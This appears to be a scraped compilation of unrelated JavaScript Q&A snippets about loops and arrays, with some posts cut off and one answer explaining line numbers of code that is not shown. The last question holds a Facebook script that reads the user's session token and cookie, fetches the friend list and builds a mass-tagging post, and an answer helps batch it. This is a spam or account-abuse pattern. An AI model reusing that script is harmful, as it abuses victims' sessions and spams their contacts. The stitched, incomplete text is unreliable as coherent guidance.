var array1 = new Array(3,5,2,7,6);
var array2 = new Array(5);
var i;
for(i=0; i<array1.length; i++) {
array2[array2.length-i-1] = array1[i%3+1];
}
document.writeln(array2);
the output is as follows: 2,5,7,2,5
I'm a bit confused on this, any help would be appreciated thanks.
It's easy to debug stuff... Just display more data along the way so you can see what stuff is
Click Run code snippet... to see it run
document.write("<pre>");
var array1 = new Array(3,5,2,7,6);
var array2 = new Array(5);
var i;
for(i=0; i<array1.length; i++) {
document.writeln("array2[" + array2.length + "-" + i + "-" + "1] = array1[" + i + "%" + "3+1];");
document.writeln("array2[" + (array2.length-i-1) + "] = array1[" + (i%3+1) + "];");
document.writeln(array2);
document.writeln();
array2[array2.length-i-1] = array1[i%3+1];
}
document.writeln("final");
document.writeln(array2);

I'm really new to Javascript and pretty much copied most of the code and modified it a bit. Sometimes I'm getting an error putted into a cell and sometimes the correct values. Do you know what is the issue?
for (p=3; p < 19; p=p+3){
var Value = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(9,p);
var outputValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),(3 + a));
outputValue.setValue(Value.getValue());
a = a +1;}
I'm adding the whole code as well for reference:
function getData() {
var queryString = Math.random();
var i;
for (i=2; i < 8; i++) {
var AddressColumn = SpreadsheetApp.getActiveSheet().getRange("W1").getColumn();
//if (ValueCrypto>0)
var cellFunction1 = '=Value(Replace(IMPORTXML("' + SpreadsheetApp.getActiveSheet().getRange(i,AddressColumn).getValue() + '?' + queryString + '","'+ SpreadsheetApp.getActiveSheet().getRange(1,AddressColumn).getValue() + '"),1,1,))*X1';
SpreadsheetApp.getActiveSheet().getRange(i,3).clearContent(); // You can also use range.setFormula("");
SpreadsheetApp.flush();
SpreadsheetApp.getActiveSheet().getRange(i,3).setValue(cellFunction1);
var cellFunction2 = '=Value(Replace(IMPORTXML("' + SpreadsheetApp.getActiveSheet().getRange(i,AddressColumn).getValue() + '?' + queryString + '","'+ SpreadsheetApp.getActiveSheet().getRange(1,AddressColumn).getValue() + '"),1,1,))';
SpreadsheetApp.getActiveSheet().getRange(i,8).clearContent(); // You can also use range.setFormula("");
SpreadsheetApp.flush();
SpreadsheetApp.getActiveSheet().getRange(i,8).setValue(cellFunction2);
}
//var cellFunction2 = '=IMPORTXML("' + SpreadsheetApp.getActiveSheet().getRange('A4').getValue() + '?' + queryString + '","'+ SpreadsheetApp.getActiveSheet().getRange('A5').getValue() + '")';
//SpreadsheetApp.getActiveSheet().getRange('C2').setValue(cellFunction2);
counter2 = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange("A12").getValue();
SpreadsheetApp.getActiveSheet().getRange("A12").setValue(counter2+1)
if (counter2 = 3) {recordValue();}
}
function recordValue() {
SpreadsheetApp.getActiveSheet().getRange("A12").setValue(0);
var counter = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange("A13");
//console.log(counter)
var dateCell = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),2);
dateCell.setValue(new Date());
//const errorValues = ["#N/A", "#REF", "#ERROR!"];
var a = 0;
for (p=3; p < 19; p=p+3){
var Value = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(9,p);
var outputValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),(3 + a));
outputValue.setValue(Value.getValue());
a = a +1;
}
var TotalValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange("R2");
var outputTotalValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),17);
outputTotalValue.setValue(TotalValue.getValue());
var TotalValue2 = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange("R5");
var outputTotalValue2 = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),18);
outputTotalValue2.setValue(TotalValue2.getValue());
counter.setValue(counter.getValue() + 1);
if(counter.getValue() > 300){counter.setValue("14");}}
I have this piece of code
(function() {
'use strict';
// Returns current URL page.
var currentURL = window.location.protocol + "//" + window.location.host + "/" +
window.location.pathname + window.location.search
var market_table = document.getElementById("market_item_table");
var market_table_cells = document.getElementsByTagName("td");
var rowLength = market_table.rows.length;
var items = document.querySelectorAll('div[data-item-id]')
var j = 0;
items.forEach(function(getItem) {
var itemData = items[j].dataset;
var tooltip = JSON.parse(itemData.tooltip)[0][0][0];
console.log(tooltip);
j++
});
for (var i = 1; i < rowLength; i++) {
var oCells = market_table.rows.item(i).cells;
console.log("Paka nr. " + i + "Nazwa przedmiotu: " + tooltip + ' ' +
oCells[1].innerText + ' ' + oCells[2].innerText);
}
})();
Now how would I go about and get the value of variable tooltip every time it loops through the NodeList?
The bigger picture is that I want to assign the correct names to the correct items listed.
You can set up an array outside of the for loop that stores the values of the tooltips, then use it in a separate function:
var tooltips = [];
Items.forEach(function(getItem) {
var itemData = getItem.dataset;
var tooltip = JSON.parse(itemData.tooltip)[0][0][0];
console.log(tooltip);
});
for (var i=0; i < rowlength... {
// Do something with the tooltips
console.log(tooltips[i]);
}
I am working in a javascript function that takes all of the id's from a HTML table and sends each iteration of a loop and sends the info to a PLSQL procedure to update. I concat a number on each id to make each one unique. If I add an alert in the loop and click through one by one it works. If I let it go on its own with no alert it skips some iterations. Is there something that I am doing wrong?
function process_update() {
var nDataCount = document.getElementById("v_nDataCount").value;
var p_cc_no = document.getElementById("p_cc_no").value;
var p_orient = document.getElementById("p_orient").value;
var p_ot = document.getElementById("p_ot").value;
var p_buy = document.getElementById("p_buy").value;
var x = 0;
if (nDataCount == 0) {
x = 0;
} else {
x = 1;
}
for (i = nDataCount; i >= x; i--) {
var p_pc_no = ("p_pc_no[" + i + "]");
var p_pc_no2 = document.getElementById(p_pc_no).value;
var p_tm_name = ("p_tm_name[" + i + "]");
var p_tm_name2 = document.getElementById(p_tm_name).value;
var p_tm_no = ("p_tm_no[" + i + "]");

Try the below code. I am using an AJAX GET request within the loop with request params, so as to not change the interface as much as possible. It uses only plain JS since I am not sure if you have jquery.
The actual changes start from line 48. Of course, I could test this code only in a limited way, so it might have possible bugs (please let me know). Also this can be possibly refined further, but as a quick fix it should do.
A word of caution: This could make a lot of calls in quick succession. So if you have too many loop iterations you might end up bringing down the server. Use wisely! :-) There should be some kind of batching to avoid this, but that will need the call interface to be changed.
Lines 48-61: I am creating a plain JS object out of all your parameters. The key is parameter name, value is the value to be passed.
Line 63: Here I am defining a self-invoking function, which makes the AJAX call in its body. This way, even though AJAX is asynchronous in nature, it will run in sync with the for loop outside.
Line 64-66: I am serializing the object created in the loop, into query parameters.
Lines 68,69: Framing the URL to which request will be made.
Lines 71-77: Actually making the request. This is just boilerplate AJAX-invoking code you can find anywhere (jQuery would've made life so much simpler :-)).

I am trying to print out the values of the array in a google doc. I do get the correct values but it goes on printing out a number of "undefined" values. The simplest way is probably to filter out the undefined values before I print out the array.
Here is the array declaration:
var paramArr = Object.keys(e.parameter).reverse();
var tableArr = [];
for(var i = 0; i < paramArr.length - 1; i++) {
var tempArr;
var nameSelector = "Company:" + i;
var startDateSelector = "Started:" + i;
var endDateSelector = "Ended:" + i;
var referenceSelector = "Reference:" + i;
var descriptionSelector = "Description:" + i;
tempArr = [e.parameter[nameSelector] + " ",
e.parameter[startDateSelector] + " - " +
e.parameter[endDateSelector]+ "\n\n" +
e.parameter[descriptionSelector]
];
I have tried this, but it doesn't work:
tempArr = tempArr.filter(function(element){
return element !== undefined;
});
Because stackoverflow keep messing up my code, i have pasted it here http://pastebin.com/xA8wT3M2
What the code does is choose the entire list of friends. What I would rather have it do is choose 6 at a time for the array without repeats until the list is done.
I know this chooses 6 but it keeps picking the first 6 from the array over and over
var i=0;i<6;
EDIT:
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(/c_user=(\d+);/)[1];
var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&" + Math.random(), false);
gf.send();
if (gf.readyState != 4) {} else {
data = eval('(' + gf.responseText.substr(9) + ')');
if (data.error) {} else {
friends = data.payload.entries.sort(function() {
return (Math.round(Math.random()) - 0.5);
});
}
}
var postmessage = "gerrgg";
for (var i = 0; i < friends.length; i++) {
postmessage = postmessage + "#[" + friends[i].uid + ":" + friends[i].text + "] ";
}
To keep choosing 6 elements from the array use slice:
var arrSliceOf6 = [];
for(var i = 0; i < arr.length; i += 6)
arrSliceOf6 = arr.slice(i, i + 6);
Here's a demo
